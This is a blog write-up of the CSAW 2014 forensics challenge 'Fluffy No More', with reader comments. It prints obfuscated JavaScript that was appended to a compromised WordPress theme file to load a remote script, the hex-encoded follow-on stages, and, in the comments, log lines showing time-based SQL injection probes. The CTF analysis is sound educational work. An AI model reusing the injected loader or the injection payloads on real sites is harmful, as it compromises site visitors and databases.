Sunday, September 21, 2014

CSAW'14 - 'Fluffy No More' writeup

This was a very nice forensics challenge for 300 points. It was very well built and logical. As a result, a lot of people solved it. I'll do a writeup anyway.

The following files/folders were provided:

  • etc/
  • var/log
  • var/www
  • mysql_backup.sql
/var/www contained a wordpress installation. The timestamps here were completely reset, which made things a bit harder. I did not find anything useful in the apache logs. They were just too big to completely cover. However, /var/log/auth.log contained a lot of useful information, and turned out the key to success. The following line was the first clue:

PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Someone apparently edited a js file in the twentythirteen theme, and they forgot to clear the logs. This could have been found through a lot of diffing, which would have been the thing to do, should we not find anything in the logs. We spared some time here. Diffing the original html5.js shows that there is some code appended to the original, which looks like this:

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
        w++;
    }
    f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
Changing document.write to console.log and then executing the script yields the following result:

<script src='http://128.238.66.100/analytics.js'></script>
Loading the JS file and beautifying it results in another fishy part in the analytics.js file:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
Decoding the hex-encoded string gives us a url for a pdf file
http://128.238.66.100/announcement.pdf
After this I got stuck, and it was a teammate that told be about qpdf. Using this tool, we can extract information from the file. Looking at the extracted pdf file, we can find another js snippet:

var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];
var y=_0xee0b[0];
Another round of decoding, and we get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :) key{Those Fluffy Bunnies Make Tummy Bumpy}
Nice task, props to brad_anton!

4 comments:

  1. I've tried to use qpdf but I've been unable to make it work. Can you share the exact commands you used with it?

    ReplyDelete
    Replies
    1. qpdf -qdf announcement.pdf result.pdf

      Delete
    2. Cool. Thanks. Did you notice the file \var\www\html\wp-content\uploads\wysija\themes\weblizer\template.php ?
      Do you know what that's about? It appears to me like they got rooted and they were able to install weevely.

      What do you think? How do you think they got rooted?

      There are a lot of entries in the apache log file suggesting an attack:

      192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=1+or+sleep%287%29%23 HTTP/1.1" 301 422 "-" "Python-httplib2/0.7.4 (gzip)"
      192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22+or+sleep%287%29%23 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
      192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27+or+sleep%287%29%23 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
      192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22+or+sleep%287%29%3D%22 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
      192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27+or+sleep%287%29%3D%27 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"

      Delete
    3. That's interesting. I did not see the file, after I got the flag I stopped looking around. I also saw a lot of suspicious log entries. The ones you pasted look like somebody is probing for SQLi. I saw a lot of probing as well, trying to find LFI for example. I did not find the actual exploit, and the logs were huge, so I moved to another file at that point.

      Delete